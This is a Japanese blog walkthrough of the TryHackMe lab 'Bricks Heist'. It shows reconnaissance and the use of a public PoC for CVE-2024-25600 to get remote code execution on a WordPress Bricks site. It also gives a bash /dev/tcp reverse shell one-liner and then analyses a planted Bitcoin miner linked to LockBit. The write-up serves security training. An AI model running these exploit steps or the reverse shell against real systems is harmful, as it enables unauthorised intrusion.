0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】TryHack3M: Bricks Heist:Walkthrough

Posted at

概要

TryHackMe「TryHack3M: Bricks Heist」のWalkthroughです。

Task1

Q1.What is the content of the hidden .txt file in the web folder?

/etc/hostsに追記します。

10.10.112.24 bricks.thm

ポートスキャンを実行します。

$ nmap -Pn -T4 -sVC -A --min-rate 5000 -p- 10.10.112.24 -oN nmap_result
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 8c:42:42:55:c2:2f:4a:a4:db:40:ac:85:48:1f:2f:39 (RSA)
|   256 9d:91:4c:91:c3:2f:3d:56:83:e6:57:93:a0:06:5d:3d (ECDSA)
|_  256 a1:49:7c:30:85:ea:b9:8a:54:22:eb:db:68:4d:30:b2 (ED25519)
80/tcp   open  http     WebSockify Python/3.8.10
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 405 Method Not Allowed
|     Server: WebSockify Python/3.8.10
|     Date: Tue, 08 Oct 2024 14:48:52 GMT
|     Connection: close
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 472
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 405</p>
|     <p>Message: Method Not Allowed.</p>
|     <p>Error code explanation: 405 - Specified method is invalid for this resource.</p>
|     </body>
|     </html>
|   HTTPOptions: 
|     HTTP/1.1 501 Unsupported method ('OPTIONS')
|     Server: WebSockify Python/3.8.10
|     Date: Tue, 08 Oct 2024 14:48:53 GMT
|     Connection: close
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 500
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 501</p>
|     <p>Message: Unsupported method ('OPTIONS').</p>
|     <p>Error code explanation: HTTPStatus.NOT_IMPLEMENTED - Server does not support this operation.</p>
|     </body>
|_    </html>
|_http-title: Error response
|_http-server-header: WebSockify Python/3.8.10
443/tcp  open  ssl/http Apache httpd
| tls-alpn: 
|   h2
|_  http/1.1
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=US
| Not valid before: 2024-04-02T11:59:14
|_Not valid after:  2025-04-02T11:59:14
|_http-title: Brick by Brick
|_http-generator: WordPress 6.5
|_http-server-header: Apache

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 8.2p1
80 http WebSockify Python/3.8.10
443 ssl/http Apache httpd

/wp-admin/が検出されているので、wp-scanで列挙をします。

$ wpscan --url https://bricks.thm --disable-tls-checks

[+] WordPress theme in use: bricks
 | Location: https://bricks.thm/wp-content/themes/bricks/
 | Readme: https://bricks.thm/wp-content/themes/bricks/readme.txt
 | Style URL: https://bricks.thm/wp-content/themes/bricks/style.css
 | Style Name: Bricks
 | Style URI: https://bricksbuilder.io/
 | Description: Visual website builder for WordPress....
 | Author: Bricks
 | Author URI: https://bricksbuilder.io/
 |
 | Found By: Urls In Homepage (Passive Detection)
 | Confirmed By: Urls In 404 Page (Passive Detection)
 |
 | Version: 1.9.5 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - https://bricks.thm/wp-content/themes/bricks/style.css, Match: 'Version: 1.9.5'

bricks version 1.9.5のテーマを使用していると分かったので、脆弱性情報を探すと、CVE-2024-25600が見つかりました。

PoCは下記リポジトリを使用しました。

PoCを実行し、RCEに成功しました。

$ python CVE-2024-25600.py -u https://bricks.thm
/home/kali/Bricks_Heist/CVE-2024-25600-EXPLOIT/CVE-2024-25600.py:20: SyntaxWarning: invalid escape sequence '\ '
  / ____/ |  / / ____/   |__ \ / __ \__ \/ // /      |__ \ / ____/ ___// __ \/ __ \\

   _______    ________    ___   ____ ___  __ __       ___   ___________ ____  ____
  / ____/ |  / / ____/   |__ \ / __ \__ \/ // /      |__ \ / ____/ ___// __ \/ __ \
 / /    | | / / __/________/ // / / /_/ / // /_________/ //___ \/ __ \/ / / / / / /
/ /___  | |/ / /__/_____/ __// /_/ / __/__  __/_____/ __/____/ / /_/ / /_/ / /_/ /
\____/  |___/_____/    /____/\____/____/ /_/       /____/_____/\____/\____/\____/
    
Coded By: K3ysTr0K3R --> Hello, Friend!

[*] Checking if the target is vulnerable
[+] The target is vulnerable
[*] Initiating exploit against: https://bricks.thm
[*] Initiating interactive shell
[+] Interactive shell opened successfully
Shell> whoami
apache

隠しファイルを発見しました。

Shell> ls
650c844110baced87e1606453b93f22a.txt

テキストファイルからフラグを入手できました。

Shell> cat 650c844110baced87e1606453b93f22a.txt
THM{fl46_650c844110baced87e1606453b93f22a}

A.THM{fl46_650c844110baced87e1606453b93f22a}

Q2.What is the name of the suspicious process?

Netcatでリッスンし、シェルを張り直します。

$ nc -lvnp 1234
listening on [any] 1234 ...

リバースシェルのペイロードを実行します。

Shell> bash -c "bash -i >& /dev/tcp/10.6.55.144/1234 0>&1"

シェルを張れました。

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.12.211] 55472
bash: cannot set terminal process group (1275): Inappropriate ioctl for device
bash: no job control in this shell
apache@tryhackme:/data/www/default$

TTYを設定します。

$ python3 -c "import pty;pty.spawn('/bin/bash')"

実行中のプロセスを確認するとDESCRIPTIONTRYHACK3Mと表記されたubuntu.serviceを発見しました。

$ systemctl | grep running

ubuntu.service                                   loaded active     running   TRYHACK3M

サービスファイルを確認すると、サービス起動時に/lib/NetworkManager/nm-inet-dialogを実行していると分かりました。

$ cat /etc/systemd/system/ubuntu.service
cat /etc/systemd/system/ubuntu.service
[Unit]
Description=TRYHACK3M

[Service]
Type=simple
ExecStart=/lib/NetworkManager/nm-inet-dialog
Restart=on-failure

[Install]
WantedBy=multi-user.target

A.nm-inet-dialog

Q3.What is the service name affiliated with the suspicious process?

A.ubuntu.service

Q4.What is the log file name of the miner instance?

nm-inet-dialogのハッシュ値を取得します。

$ sha256sum nm-inet-dialog 
2d96bf6e392bbd29c2d13f6393410e4599a40e1f2fe9dc8a7b744d11f05eb756  nm-inet-dialog

virustotalで検索すると、下記の検出結果が得られました。

image.png

Files openedを見ていくと、inet.confを利用しているようです。

image.png

inet.confを確認するとMinerのログを確認できました。

$ head inet.conf
head inet.conf
ID: 5757314e65474e5962484a4f656d787457544e424e574648555446684d3070735930684b616c70555a7a566b52335276546b686b65575248647a525a57466f77546b64334d6b347a526d685a6255313459316873636b35366247315a4d304531595564476130355864486c6157454a3557544a564e453959556e4a685246497a5932355363303948526a4a6b52464a7a546d706b65466c525054303d
2024-04-08 10:46:04,743 [*] confbak: Ready!
2024-04-08 10:46:04,743 [*] Status: Mining!
2024-04-08 10:46:08,745 [*] Miner()
2024-04-08 10:46:08,745 [*] Bitcoin Miner Thread Started
2024-04-08 10:46:08,745 [*] Status: Mining!
2024-04-08 10:46:10,747 [*] Miner()
2024-04-08 10:46:12,748 [*] Miner()
2024-04-08 10:46:14,751 [*] Miner()
2024-04-08 10:46:16,753 [*] Miner()

A.inet.conf

Q5.What is the wallet address of the miner instance?

ログからIDを取得できました。

$ head inet.conf
head inet.conf
ID: 5757314e65474e5962484a4f656d787457544e424e574648555446684d3070735930684b616c70555a7a566b52335276546b686b65575248647a525a57466f77546b64334d6b347a526d685a6255313459316873636b35366247315a4d304531595564476130355864486c6157454a3557544a564e453959556e4a685246497a5932355363303948526a4a6b52464a7a546d706b65466c525054303d
2024-04-08 10:46:04,743 [*] confbak: Ready!
2024-04-08 10:46:04,743 [*] Status: Mining!
2024-04-08 10:46:08,745 [*] Miner()
2024-04-08 10:46:08,745 [*] Bitcoin Miner Thread Started
2024-04-08 10:46:08,745 [*] Status: Mining!
2024-04-08 10:46:10,747 [*] Miner()
2024-04-08 10:46:12,748 [*] Miner()
2024-04-08 10:46:14,751 [*] Miner()
2024-04-08 10:46:16,753 [*] Miner()

From HexFrom Base64From Base64でデコードすると、bc1から始まるビットコインアドレスを2つ発見できました。

image.png

bc1qyk79fcp9hd5kreprce89tkh4wrtl8avt4l67qa
bc1qyk79fcp9had5kreprce89tkh4wrtl8avt4l67qa

blockchain.comでアドレスを検索すると、片方のアドレスのみヒットしました。

image.png

A.bc1qyk79fcp9hd5kreprce89tkh4wrtl8avt4l67qa

Q6.The wallet address used has been involved in transactions between wallets belonging to which threat group?

BTCのやり取り履歴を見ると、11BTCの取引履歴を見つけました。

image.png

送信元のBTCアドレスで検索すると下記サイトが見つかりました。

LockBitグループに関係のあるアドレスのようです。

image.png

A.LockBit

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?